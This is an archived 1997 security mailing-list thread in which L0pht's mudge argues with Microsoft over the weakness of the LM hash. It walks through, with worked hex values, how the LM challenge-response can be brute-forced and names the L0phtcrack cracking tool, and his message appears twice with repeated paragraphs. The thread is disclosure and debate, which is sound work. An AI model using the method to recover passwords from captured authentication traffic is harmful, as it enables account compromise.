> ../|\..| "A toast to Odin, | For with those which eternal lie, with
> |.\|/.
> .+.v.+.|God of screwdrivers"| strange aeons, even death may die.
> |.....
> ======================== http://www.sundernet.com
> =========================
> 
> 
> 
> 
It's amazing how hard it is for some people to get the idea that MS says
"if security is a major concern, buy Windows NT". We've always said
that. Maybe the 65% of all systems that run with no security at all (see
the IDC report that Russ cites in his recent message) are happy to run
Windows 95 even though it isn't as secure as Windows NT. Maybe thats why
we concentrate our efforts on enhancing security in Windows NT.

For people who claim security is so important, why won't they admit that
it's worth more money for a system that implements it?

> ----------
> From: Who cares what the hell goes into a Gecos field
> anyway![SMTP:mudge@l0pht.com]
> Sent: Thursday, July 24, 1997 7:20 AM
> To: ntsecurity@iss.net; NTBUGTRAQ@rc.on.ca
> Cc: Paul Leach; Ryan.Russell@sybase.com
> Subject: Windows NT rantings from the l0pht
> 
> 
> I didn't ask to be cc'd into the rantings of the MS Borg Marketing 
> Juggernaut but since I'm here...
> 
> I find this hillarious. The people at MS should know better.
> 
> I haven't been following this thread tremendously but I've seen
> bit's and pieces. Recently there was an attrocious article in
> WindowsNT 
> magazine, where they stated it would take 5000 or so years to break
> the 
> passwords; thus put policy in place to have users change their
> passwords 
> every 2500 years. HELLO? I think these people aren't getting it.
> 
> Let's shed some light on things shall we?
> 
> 1. Thank you very little MS for dropping any reference to the l0pht,
> hobbit, or myself in reference to your recent LM-Hash fix. If this
> is how you "correspond" with people who point out problems to you it's
> no wonder that people prefer to release things to the public instead
> of your "proper" channels. 
> 
> 2. MS agrees that the LM hash is a horrible implementation from a 
> security standpoint. They respond with: "well we didn't write the 
> protocol that was IBM".
> 
> 3. When MS had the chance to do things a different way (ie Network
> challenge/response obfuscation on NT boxes) they implemented it based
> upon LM techniques to break up components (see #2).
> 
> 4. The LM-hash fix works great if you don't have anything but NT
> machines
> on your network. If you want to continue being "productive" with your
> win95 machines it is my understanding that you "do it insecurely" or
> you are S.O.L.
> 
> 5. Few places are running "nothing but NT" (ie just about everyone 
> has 95 or WfW boxes if MS has already gotten their foot in the door).
> (see #4)
> 
> 6. MS can't swallow their pride enough to say "oops", even in 
> technical circles where they don't have to worry about the general
> public
> mis-interpreting things.
> 
> 7. For the LM hash you only have to break 7 characters, not 14!
> 
> 8. MS keeps talking about the NT hash being so secure while refusing
> to
> talk
> about how weak the LM hash is. Guess what, you probably won't be able
> to use the "added security" of the NT hash on your network. Why keep 
> talking about something people can't use?
> 
> 9. Even though the NT hash spec says you can have up to 128 char
> passwords,
> I'd really like someone to show me how they can type more than 14
> characters
> into UserManager before it starts Beep-Beep'ing at them.
> 
> 10. We demonstrate up front with proof of concept code in L0phtcrack
> v1.0,
> and L0phtcrack v1.5 that the following is indeed the case.
> 
> For those that don't know, L0phtcrack v1.5 will attack the challenge
> response done over the network. The reason we came out with this was
> that
> the SYSKEY "fix" that MS came out with only managed to emasculate the
> ADMINISTRATOR and not address the actuall problem. Can we say "save
> face"? I knew we could.
> 
> L0phtcrack v1.5 is available for FREE from http://www.L0pht.com
> (that's
> a ZERO after the 'L', not an 'o') . It comes with source so you can
> build 
> it on just about any platform. It is proof-of concept code and thus
> could be sped up tremendously.
> 
> Now, let's rip apart why it is so trivial to go through the LM hash on
> the
> network. And then talk about why the NT hash doesn't matter.
> 
> -------------------------- -----------------------------
> | 16byte LM hash | | 16byte NT hash (md4) |
> -------------------------- -----------------------------
> 
> We already know that you only have to go through 7 characters to
> retrieve
> passwords (up to 14 chars in length) in the LM hash, and that since
> there
> is
> no salting being done, constants show up all over the place giving
> away
> too much information and speeding up attacks tremendously.
> 
> -------------------------------------------------
> | 1st 8bytes of LMhash | second 8bytes of LMhash |
> -------------------------------------------------
> 
> 1st 8 bytes are derived from the first seven characters of the
> password
> and
> the second 8 bytes are derived from the 8th through 14th characters of
> the password. If the password is less than 7 characters then the
> second
> half will always be: 0xAAD3B435B51404EE.
> 
> Let's assume for this example that the users password has a LM hash of
> 0xC23413A8A1E7665fAAD3B435B51404EE (which I'll save everyone the
> nanosecond 
> it would have taken for them to plug this into L0phtcrack and have it
> tell them the password is "WELCOME").
> 
> Here's what happens to this hash on the network:
> 
> -------- --------
> | A | <______________| B |
> | | | |
> -------- --------
> 
> B sends an 8 byte challenge to A. (assume 0x0001020304050607)
> 
> Machine A takes the hash of 0xC23413A8A1E7665fAAD3B435B51404EE
> and adds 5 nulls to it, thus becoming 
> 0xC23413A8A1E7665fAAD3B435B51404EE0000000000.
> 
> The string 0xC23413A8A1E7665fAAD3B435B51404EE0000000000 is broken into
> three groups of 7:
> 
> C23413A8A1E766 5fAAD3B435B514 04EE0000000000
> 
> The 7 byte strings are str_to_key'd (if you will) into 8 byte odd
> parity
> des keys.
> 
> Now we have :
> 
> | 8byteDeskey1 | | 8byteDeskey2 | | 8 byteDeskey3 |
> 
> 8byteDeskey1 is used to encrypt the challenge 0x0001020304050607.
> Let's
> assume the result is 0xAAAAAAAAAAAAAAAA.
> 
> 8byteDeskey2 is used to encrypt the challenge 0x0001020304050607.
> Let's
> assume the result is 0xBBBBBBBBBBBBBBBB.
> 
> 8byteDeskey3 is used to encrypt the challenge 0x0001020304050607.
> Let's
> assume the result is 0xCCCCCCCCCCCCCCCC.
> 
> The three 8byte values are concatenated (!dumb!), and the 24 byte
> response
> of 0xAAAAAAAABBBBBBBBCCCCCCCC is returned to the server. The server
> does
> the same thing to the hash on it's end and compares the result to the
> 24 byte response. If they match, it was the correct original hash.
> 
> Why this is boneheaded:
> ----------------------
> 
> 7 char or less passwords.
> 
> -------------------- -------------------- --------------------
> 
> | C23413A8A1E766 || 5fAAD3B435B514 || 04EE0000000000 |
> -------------------- -------------------- --------------------
> 
> The first thing we check is to see if the users password is less than
> 8 characters in length. We do this by taking the 7 byte value of 
> 0x04EE0000000000, turning it into an 8 byte odd parity DES key, 
> and encrypting it against the 8 byte challenge of 0x0001020304050607.
> If we get the result of 0xCCCCCCCCCCCCCCCC then we are pretty sure
> it's < 8 chars in length. 
> 
> In order to be sure we can run through 0x??AAD3B435B514 (ie 256
> possible
> combinations) to see that 5f shows us the result is
> 0xBBBBBBBBBBBBBBBB,
> proving that the password is less than 7 characters and also giving us
> the last byte of the first half of the LM hash.
> 
> From this point, even assuming we're just joyriding and not worried
> about
> optimizing the way this is done (believe me, there are much more
> effective ways to do this that reduce the amount of time needed even
> further... this whole this is just showing that even a simplistic
> attack works against this implementation), it's no different than
> how a tool like L0phtcrack attacks the hashes in the registry.
> 
> 8 char or greater passwords.
> 
> -------------------- -------------------- --------------------
> | C23413A8A1E766 || AC435F2DD90417 || CCD60000000000 |
> -------------------- -------------------- --------------------
> 
> The first thing to check is whether the password is less than 8
> characters
> in length. Deriving the 8 byte odd parity des key from
> 0x04EE0000000000 
> and encrypting against 0x0001020304050607 does not, in this case, give
> us 0xCCCCCCCCCCCCCCCC, so we know that the password is 8 characters or
> greater. 
> 
> It takes us, in a worst case scenario, 65535 checks to figure out that
> the 2bytes that are used in the last third are 0xCCD6. Even
> approaching
> this in a completely brain-dead fashion (hey, turn-about is fair
> play),
> you can go through your 7 digit combinations of characters for the
> first third the same way you would the LM hash from the registry. This
> will yield not only the first third of the response, but also the 
> first byte of the second third. Keep in mind that you already have the
> last two bytes that made up the third third. 
> 
> You could approach the middle third in the same fashion.
> 
> (note: this whole method that MS is doing screams for a precompute
> table lookup attack - which given the small enough potential values
> is not impossible by any means)
> 
> Thus, the challenge response is completely brute-forcable for the
> LM-hash.
> 
> MS made the "oversight" of still sending the LM-hash response along
> with 
> the NT response even when SP3 was installed. Thus it was a moot point 
> as to how tough or well done the NT hash might or might not be.
> 
> Since installing the LM-fix precludes continued use of windows 95
> machines
> in regards to talking to NT machines, it is still a moot point as to
> how tough or well done the NT hash might or might not be.
> 
> The LM hash is incredibly weak and your more secure NT hash is brought
> down to the lowest common denominator.
> 
> (note: this whole method that MS is doing screams for a precompute
> table lookup attack - which given the small enough potential values
> is not impossible by any means)
> 
> Thus, the challenge response is completely brute-forcable for the
> LM-hash.
> 
> MS made the "oversight" of still sending the LM-hash response along
> with 
> the NT response even when SP3 was installed. Thus it was a moot point 
> as to how tough or well done the NT hash might or might not be.
> 
> Since installing the LM-fix precludes continued use of windows 95
> machines
> in regards to talking to NT machines, it is still a moot point as to
> how tough or well done the NT hash might or might not be.
> 
> The LM hash is incredibly weak and your more secure NT hash is brought
> down to the lowest common denominator.
> 
> It would have been nice if you could type a password greater than
> 14chars
> into the UserManager app.
> 
> .mudge
> 
> --------------------
> http://www.l0pht.com/advisories.html - for more security related
> articles
> published by the L0pht
> --------------------
> 
> 
Oh, come on. You aren't going to pretend that
the issue is that simple, are you?

I realize these things aren't your personnal 
choices, but it would appear that you've 
been declared de-facto MS spokesperson here...

My personal opinion is that any OS ought to
be securable on the network, even if it has
no security when you sit down in front of it.
Not using the network is not much of a choice.
As the only supplier of the SMB stuff between
95 and NT, I would hope that MS has plans 
to dump the unsecure LM dialect entirely.
I'd prefer to see a hotfix for 95 soon, but I 
could even live with it being fixed in Memphis.

Are you able to comment on any of the above?

 Ryan

---------- Previous Message ----------
To: ntsecurity, NTBUGTRAQ, mudge
cc: Ryan.Russell
From: paulle@microsoft.com (Paul Leach) @ smtp
Date: 07/24/97 10:42:01 AM
Subject: RE: Windows NT rantings from the l0pht

It's amazing how hard it is for some people to get the idea that MS says
"if security is a major concern, buy Windows NT". We've always said
that. Maybe the 65% of all systems that run with no security at all (see
the IDC report that Russ cites in his recent message) are happy to run
Windows 95 even though it isn't as secure as Windows NT. Maybe thats why
we concentrate our efforts on enhancing security in Windows NT.

For people who claim security is so important, why won't they admit that
it's worth more money for a system that implements it?

> ----------
> From: Who cares what the hell goes into a Gecos field
> anyway![SMTP:mudge@l0pht.com]
> Sent: Thursday, July 24, 1997 7:20 AM
> To: ntsecurity@iss.net; NTBUGTRAQ@rc.on.ca
> Cc: Paul Leach; Ryan.Russell@sybase.com
> Subject: Windows NT rantings from the l0pht
> 
> 
> I didn't ask to be cc'd into the rantings of the MS Borg Marketing 
> Juggernaut but since I'm here...
> 
> I find this hillarious. The people at MS should know better.
> 
> I haven't been following this thread tremendously but I've seen
> bit's and pieces. Recently there was an attrocious article in
> WindowsNT 
> magazine, where they stated it would take 5000 or so years to break
> the 
> passwords; thus put policy in place to have users change their
> passwords 
> every 2500 years. HELLO? I think these people aren't getting it.
> 
> Let's shed some light on things shall we?
> 
> 1. Thank you very little MS for dropping any reference to the l0pht,
> hobbit, or myself in reference to your recent LM-Hash fix. If this
> is how you "correspond" with people who point out problems to you it's
> no wonder that people prefer to release things to the public instead
> of your "proper" channels. 
> 
> 2. MS agrees that the LM hash is a horrible implementation from a 
> security standpoint. They respond with: "well we didn't write the 
> protocol that was IBM".
> 
> 3. When MS had the chance to do things a different way (ie Network
> challenge/response obfuscation on NT boxes) they implemented it based
> upon LM techniques to break up components (see #2).
> 
> 4. The LM-hash fix works great if you don't have anything but NT
> machines
> on your network. If you want to continue being "productive" with your
> win95 machines it is my understanding that you "do it insecurely" or
> you are S.O.L.
> 
> 5. Few places are running "nothing but NT" (ie just about everyone 
> has 95 or WfW boxes if MS has already gotten their foot in the door).
> (see #4)
> 
> 6. MS can't swallow their pride enough to say "oops", even in 
> technical circles where they don't have to worry about the general
> public
> mis-interpreting things.
> 
> 7. For the LM hash you only have to break 7 characters, not 14!
> 
> 8. MS keeps talking about the NT hash being so secure while refusing
> to
> talk
> about how weak the LM hash is. Guess what, you probably won't be able
> to use the "added security" of the NT hash on your network. Why keep 
> talking about something people can't use?
> 
> 9. Even though the NT hash spec says you can have up to 128 char
> passwords,
> I'd really like someone to show me how they can type more than 14
> characters
> into UserManager before it starts Beep-Beep'ing at them.
> 
> 10. We demonstrate up front with proof of concept code in L0phtcrack
> v1.0,
> and L0phtcrack v1.5 that the following is indeed the case.
> 
> For those that don't know, L0phtcrack v1.5 will attack the challenge
> response done over the network. The reason we came out with this was
> that
> the SYSKEY "fix" that MS came out with only managed to emasculate the
> ADMINISTRATOR and not address the actuall problem. Can we say "save
> face"? I knew we could.
> 
> L0phtcrack v1.5 is available for FREE from http://www.L0pht.com
> (that's
> a ZERO after the 'L', not an 'o') . It comes with source so you can
> build 
> it on just about any platform. It is proof-of concept code and thus
> could be sped up tremendously.
> 
> Now, let's rip apart why it is so trivial to go through the LM hash on
> the
> network. And then talk about why the NT hash doesn't matter.
> 
> -------------------------- -----------------------------
> | 16byte LM hash | | 16byte NT hash (md4) |
> -------------------------- -----------------------------
> 
> We already know that you only have to go through 7 characters to
> retrieve
> passwords (up to 14 chars in length) in the LM hash, and that since
> there
> is
> no salting being done, constants show up all over the place giving
> away
> too much information and speeding up attacks tremendously.
> 
> -------------------------------------------------
> | 1st 8bytes of LMhash | second 8bytes of LMhash |
> -------------------------------------------------
> 
> 1st 8 bytes are derived from the first seven characters of the
> password
> and
> the second 8 bytes are derived from the 8th through 14th characters of
> the password. If the password is less than 7 characters then the
> second
> half will always be: 0xAAD3B435B51404EE.
> 
> Let's assume for this example that the users password has a LM hash of
> 0xC23413A8A1E7665fAAD3B435B51404EE (which I'll save everyone the
> nanosecond 
> it would have taken for them to plug this into L0phtcrack and have it
> tell them the password is "WELCOME").
> 
> Here's what happens to this hash on the network:
> 
> -------- --------
> | A | <______________| B |
> | | | |
> -------- --------
> 
> B sends an 8 byte challenge to A. (assume 0x0001020304050607)
> 
> Machine A takes the hash of 0xC23413A8A1E7665fAAD3B435B51404EE
> and adds 5 nulls to it, thus becoming 
> 0xC23413A8A1E7665fAAD3B435B51404EE0000000000.
> 
> The string 0xC23413A8A1E7665fAAD3B435B51404EE0000000000 is broken into
> three groups of 7:
> 
> C23413A8A1E766 5fAAD3B435B514 04EE0000000000
> 
> The 7 byte strings are str_to_key'd (if you will) into 8 byte odd
> parity
> des keys.
> 
> Now we have :
> 
> | 8byteDeskey1 | | 8byteDeskey2 | | 8 byteDeskey3 |
> 
> 8byteDeskey1 is used to encrypt the challenge 0x0001020304050607.
> Let's
> assume the result is 0xAAAAAAAAAAAAAAAA.
> 
> 8byteDeskey2 is used to encrypt the challenge 0x0001020304050607.
> Let's
> assume the result is 0xBBBBBBBBBBBBBBBB.
> 
> 8byteDeskey3 is used to encrypt the challenge 0x0001020304050607.
> Let's
> assume the result is 0xCCCCCCCCCCCCCCCC.
> 
> The three 8byte values are concatenated (!dumb!), and the 24 byte
> response
> of 0xAAAAAAAABBBBBBBBCCCCCCCC is returned to the server. The server
> does
> the same thing to the hash on it's end and compares the result to the
> 24 byte response. If they match, it was the correct original hash.
> 
> Why this is boneheaded:
> ----------------------
> 
> 7 char or less passwords.
> 
> -------------------- -------------------- --------------------
> 
> | C23413A8A1E766 || 5fAAD3B435B514 || 04EE0000000000 |
> -------------------- -------------------- --------------------
> 
> The first thing we check is to see if the users password is less than
> 8 characters in length. We do this by taking the 7 byte value of 
> 0x04EE0000000000, turning it into an 8 byte odd parity DES key, 
> and encrypting it against the 8 byte challenge of 0x0001020304050607.
> If we get the result of 0xCCCCCCCCCCCCCCCC then we are pretty sure
> it's < 8 chars in length. 
> 
> In order to be sure we can run through 0x??AAD3B435B514 (ie 256
> possible
> combinations) to see that 5f shows us the result is
> 0xBBBBBBBBBBBBBBBB,
> proving that the password is less than 7 characters and also giving us
> the last byte of the first half of the LM hash.
> 
> From this point, even assuming we're just joyriding and not worried
> about
> optimizing the way this is done (believe me, there are much more
> effective ways to do this that reduce the amount of time needed even
> further... this whole this is just showing that even a simplistic
> attack works against this implementation), it's no different than
> how a tool like L0phtcrack attacks the hashes in the registry.
> 
> 8 char or greater passwords.
> 
> -------------------- -------------------- --------------------
> | C23413A8A1E766 || AC435F2DD90417 || CCD60000000000 |
> -------------------- -------------------- --------------------
> 
> The first thing to check is whether the password is less than 8
> characters
> in length. Deriving the 8 byte odd parity des key from
> 0x04EE0000000000 
> and encrypting against 0x0001020304050607 does not, in this case, give
> us 0xCCCCCCCCCCCCCCCC, so we know that the password is 8 characters or
> greater. 
> 
> It takes us, in a worst case scenario, 65535 checks to figure out that
> the 2bytes that are used in the last third are 0xCCD6. Even
> approaching
> this in a completely brain-dead fashion (hey, turn-about is fair
> play),
> you can go through your 7 digit combinations of characters for the
> first third the same way you would the LM hash from the registry. This
> will yield not only the first third of the response, but also the 
> first byte of the second third. Keep in mind that you already have the
> last two bytes that made up the third third. 
> 
> You could approach the middle third in the same fashion.
> 
> (note: this whole method that MS is doing screams for a precompute
> table lookup attack - which given the small enough potential values
> is not impossible by any means)
> 
> Thus, the challenge response is completely brute-forcable for the
> LM-hash.
> 
> MS made the "oversight" of still sending the LM-hash response along
> with 
> the NT response even when SP3 was installed. Thus it was a moot point 
> as to how tough or well done the NT hash might or might not be.
> 
> Since installing the LM-fix precludes continued use of windows 95
> machines
> in regards to talking to NT machines, it is still a moot point as to
> how tough or well done the NT hash might or might not be.
> 
> The LM hash is incredibly weak and your more secure NT hash is brought
> down to the lowest common denominator.
> 
> (note: this whole method that MS is doing screams for a precompute
> table lookup attack - which given the small enough potential values
> is not impossible by any means)
> 
> Thus, the challenge response is completely brute-forcable for the
> LM-hash.
> 
> MS made the "oversight" of still sending the LM-hash response along
> with 
> the NT response even when SP3 was installed. Thus it was a moot point 
> as to how tough or well done the NT hash might or might not be.
> 
> Since installing the LM-fix precludes continued use of windows 95
> machines
> in regards to talking to NT machines, it is still a moot point as to
> how tough or well done the NT hash might or might not be.
> 
> The LM hash is incredibly weak and your more secure NT hash is brought
> down to the lowest common denominator.
> 
> It would have been nice if you could type a password greater than
> 14chars
> into the UserManager app.
> 
> .mudge
> 
> --------------------
> http://www.l0pht.com/advisories.html - for more security related
> articles
> published by the L0pht
> --------------------
> 
> 



>From what I've been able to glean from what is at best skimpy and
questionable documentation of RAS internal security:

Require encryption at both client and server. Get 128-bit RAS components
from MS if for use in the US. Make sure the user accounts who use RAS
have nice, long, RANDOMly selected passwords whose space is the same as
the "X-bits" of encryption you deem appropriate. (X=40 for 40-bit, and I
feel comfortable with X=64 for 128-bit.) If practical, set up the RAS
server to allow RAS access to the only server itself -- not the server's
network.

With these cautions, nothing I've seen in RAS particluarly worries me.

-- 
STEVE SUTTON, President TRUSTED SYSTEMS Services, Inc.
 Phone: (217) 344-0996 1107 S. Orchard Street
 FAX: (217) 344-0901 Urbana, IL 61801-4851 USA
 E-mail: SSutton@TrustedSystems.com 
 WWW: http://www.TrustedSystems.com/